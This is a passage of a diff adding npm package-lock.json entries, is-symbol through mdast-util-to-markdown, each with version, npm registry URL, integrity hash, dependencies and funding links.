+ "integrity": "sha512-PlfzajuF9vSo5wErv3MJAKD/nqf9ngAs1NFQYm16nUYFO2IzxJ2hcm+IOCg+EEopdykNNUhVq5cz35cAUxU8+g==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-symbol": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz",
+ "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "has-symbols": "^1.1.0",
+ "safe-regex-test": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-typed-array": {
+ "version": "1.1.15",
+ "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
+ "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
+ "license": "MIT",
+ "dependencies": {
+ "which-typed-array": "^1.1.16"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-weakmap": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz",
+ "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-weakref": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.0.tgz",
+ "integrity": "sha512-SXM8Nwyys6nT5WP6pltOwKytLV7FqQ4UiibxVmW+EIosHcmCqkkjViTb5SNssDlkCiEYRP1/pdWUKVvZBmsR2Q==",
+ "dependencies": {
+ "call-bound": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-weakset": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.3.tgz",
+ "integrity": "sha512-LvIm3/KWzS9oRFHugab7d+M/GcBXuXX5xZkzPmN+NxihdQlZUQ4dWuSV1xR/sq6upL1TJEDrfBgRepHFdBtSNQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "get-intrinsic": "^1.2.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/isarray": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+ "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="
+ },
+ "node_modules/isexe": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+ "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="
+ },
+ "node_modules/iterator.prototype": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.4.tgz",
+ "integrity": "sha512-x4WH0BWmrMmg4oHHl+duwubhrvczGlyuGAZu3nvrf0UXOfPu8IhZObFEr7DE/iv01YgVZrsOiRcqw2srkKEDIA==",
+ "dependencies": {
+ "define-data-property": "^1.1.4",
+ "es-object-atoms": "^1.0.0",
+ "get-intrinsic": "^1.2.6",
+ "has-symbols": "^1.1.0",
+ "reflect.getprototypeof": "^1.0.8",
+ "set-function-name": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/jackspeak": {
+ "version": "3.4.3",
+ "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz",
+ "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==",
+ "dependencies": {
+ "@isaacs/cliui": "^8.0.2"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ },
+ "optionalDependencies": {
+ "@pkgjs/parseargs": "^0.11.0"
+ }
+ },
+ "node_modules/jiti": {
+ "version": "1.21.6",
+ "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.6.tgz",
+ "integrity": "sha512-2yTgeWTWzMWkHu6Jp9NKgePDaYHbntiwvYuuJLbbN9vl7DC9DvXKOB2BC3ZZ92D3cvV/aflH0osDfwpHepQ53w==",
+ "bin": {
+ "jiti": "bin/jiti.js"
+ }
+ },
+ "node_modules/js-file-download": {
+ "version": "0.4.12",
+ "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.12.tgz",
+ "integrity": "sha512-rML+NkoD08p5Dllpjo0ffy4jRHeY6Zsapvr/W86N7E0yuzAO6qa5X9+xog6zQNlH102J7IXljNY2FtS6Lj3ucg==",
+ "license": "MIT"
+ },
+ "node_modules/js-tokens": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
+ },
+ "node_modules/js-yaml": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
+ "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
+ "license": "MIT",
+ "dependencies": {
+ "argparse": "^2.0.1"
+ },
+ "bin": {
+ "js-yaml": "bin/js-yaml.js"
+ }
+ },
+ "node_modules/json-buffer": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
+ "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
+ },
+ "node_modules/json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+ },
+ "node_modules/json-stable-stringify-without-jsonify": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
+ "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw=="
+ },
+ "node_modules/json5": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz",
+ "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==",
+ "dependencies": {
+ "minimist": "^1.2.0"
+ },
+ "bin": {
+ "json5": "lib/cli.js"
+ }
+ },
+ "node_modules/jsx-ast-utils": {
+ "version": "3.3.5",
+ "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz",
+ "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==",
+ "dependencies": {
+ "array-includes": "^3.1.6",
+ "array.prototype.flat": "^1.3.1",
+ "object.assign": "^4.1.4",
+ "object.values": "^1.1.6"
+ },
+ "engines": {
+ "node": ">=4.0"
+ }
+ },
+ "node_modules/keyv": {
+ "version": "4.5.4",
+ "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
+ "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==",
+ "dependencies": {
+ "json-buffer": "3.0.1"
+ }
+ },
+ "node_modules/language-subtag-registry": {
+ "version": "0.3.23",
+ "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz",
+ "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="
+ },
+ "node_modules/language-tags": {
+ "version": "1.0.9",
+ "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz",
+ "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==",
+ "dependencies": {
+ "language-subtag-registry": "^0.3.20"
+ },
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/lcid": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz",
+ "integrity": "sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==",
+ "dependencies": {
+ "invert-kv": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/levn": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
+ "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
+ "dependencies": {
+ "prelude-ls": "^1.2.1",
+ "type-check": "~0.4.0"
+ },
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+ },
+ "node_modules/lilconfig": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
+ "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/antonk52"
+ }
+ },
+ "node_modules/lines-and-columns": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="
+ },
+ "node_modules/locate-path": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+ "dependencies": {
+ "p-locate": "^5.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/lodash": {
+ "version": "4.17.21",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+ },
+ "node_modules/lodash.castarray": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/lodash.castarray/-/lodash.castarray-4.4.0.tgz",
+ "integrity": "sha512-aVx8ztPv7/2ULbArGJ2Y42bG1mEQ5mGjpdvrbJcJFU3TbYybe+QlLS4pst9zV52ymy2in1KpFPiZnAOATxD4+Q==",
+ "dev": true
+ },
+ "node_modules/lodash.debounce": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+ "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==",
+ "license": "MIT"
+ },
+ "node_modules/lodash.isplainobject": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
+ "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
+ "dev": true
+ },
+ "node_modules/lodash.merge": {
+ "version": "4.6.2",
+ "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
+ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="
+ },
+ "node_modules/longest-streak": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz",
+ "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/loose-envify": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
+ "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
+ "dependencies": {
+ "js-tokens": "^3.0.0 || ^4.0.0"
+ },
+ "bin": {
+ "loose-envify": "cli.js"
+ }
+ },
+ "node_modules/lowlight": {
+ "version": "1.20.0",
+ "resolved": "https://registry.npmjs.org/lowlight/-/lowlight-1.20.0.tgz",
+ "integrity": "sha512-8Ktj+prEb1RoCPkEOrPMYUN/nCggB7qAWe3a7OpMjWQkh3l2RD5wKRQ+o8Q8YuI9RG/xs95waaI/E6ym/7NsTw==",
+ "dependencies": {
+ "fault": "^1.0.0",
+ "highlight.js": "~10.7.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/lru-cache": {
+ "version": "10.4.3",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
+ "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="
+ },
+ "node_modules/lucide-react": {
+ "version": "0.446.0",
+ "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.446.0.tgz",
+ "integrity": "sha512-BU7gy8MfBMqvEdDPH79VhOXSEgyG8TSPOKWaExWGCQVqnGH7wGgDngPbofu+KdtVjPQBWbEmnfMTq90CTiiDRg==",
+ "peerDependencies": {
+ "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc"
+ }
+ },
+ "node_modules/markdown-extensions": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/markdown-extensions/-/markdown-extensions-2.0.0.tgz",
+ "integrity": "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q==",
+ "engines": {
+ "node": ">=16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/markdown-table": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz",
+ "integrity": "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/math-intrinsics": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
+ "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/mdast-util-find-and-replace": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.1.tgz",
+ "integrity": "sha512-SG21kZHGC3XRTSUhtofZkBzZTJNM5ecCi0SK2IMKmSXR8vO3peL+kb1O0z7Zl83jKtutG4k5Wv/W7V3/YHvzPA==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "escape-string-regexp": "^5.0.0",
+ "unist-util-is": "^6.0.0",
+ "unist-util-visit-parents": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz",
+ "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/mdast-util-from-markdown": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.2.tgz",
+ "integrity": "sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "@types/unist": "^3.0.0",
+ "decode-named-character-reference": "^1.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-to-string": "^4.0.0",
+ "micromark": "^4.0.0",
+ "micromark-util-decode-numeric-character-reference": "^2.0.0",
+ "micromark-util-decode-string": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "unist-util-stringify-position": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-3.0.0.tgz",
+ "integrity": "sha512-dgQEX5Amaq+DuUqf26jJqSK9qgixgd6rYDHAv4aTBuA92cTknZlKpPfa86Z/s8Dj8xsAQpFfBmPUHWJBWqS4Bw==",
+ "dependencies": {
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-gfm-autolink-literal": "^2.0.0",
+ "mdast-util-gfm-footnote": "^2.0.0",
+ "mdast-util-gfm-strikethrough": "^2.0.0",
+ "mdast-util-gfm-table": "^2.0.0",
+ "mdast-util-gfm-task-list-item": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-autolink-literal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-2.0.1.tgz",
+ "integrity": "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "ccount": "^2.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-find-and-replace": "^3.0.0",
+ "micromark-util-character": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-footnote": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-2.0.0.tgz",
+ "integrity": "sha512-5jOT2boTSVkMnQ7LTrd6n/18kqwjmuYqo7JUPe+tRCY6O7dAuTFMtTPauYYrMPpox9hlN0uOx/FL8XvEfG9/mQ==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.1.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-strikethrough": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.0.tgz",
+ "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-table": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-2.0.0.tgz",
+ "integrity": "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.0.0",
+ "markdown-table": "^3.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-task-list-item": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-2.0.0.tgz",
+ "integrity": "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-mdx": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-mdx/-/mdast-util-mdx-3.0.0.tgz",
+ "integrity": "sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w==",
+ "dependencies": {
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-mdx-expression": "^2.0.0",
+ "mdast-util-mdx-jsx": "^3.0.0",
+ "mdast-util-mdxjs-esm": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-mdx-expression": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz",
+ "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-mdx-jsx": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.1.3.tgz",
+ "integrity": "sha512-bfOjvNt+1AcbPLTFMFWY149nJz0OjmewJs3LQQ5pIyVGxP4CdOqNVJL6kTaM5c68p8q82Xv3nCyFfUnuEcH3UQ==",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "@types/unist": "^3.0.0",
+ "ccount": "^2.0.0",
+ "devlop": "^1.1.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0",
+ "parse-entities": "^4.0.0",
+ "stringify-entities": "^4.0.0",
+ "unist-util-stringify-position": "^4.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-mdxjs-esm": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz",
+ "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-phrasing": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz",
+ "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "unist-util-is": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-to-hast": {
+ "version": "13.2.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.1.tgz",
+ "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "@ungap/structured-clone": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-util-sanitize-uri": "^2.0.0",
+ "trim-lines": "^3.0.0",
+ "unist-util-position": "^5.0.0",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-to-markdown": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz",
+ "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "@types/unist": "^3.0.0",
+ "longest-streak": "^3.0.0",
+ "mdast-util-phrasing": "^4.0.0",
+ "mdast-util-to-string": "^4.0.0",
+ "micromark-util-classify-character": "^2.0.0",
+ "micromark-util-decode-string": "^2.0.0",
+ "unist-util-visit": "^5.0.0",
+ "zwitch": "^2.0.0"
+ },
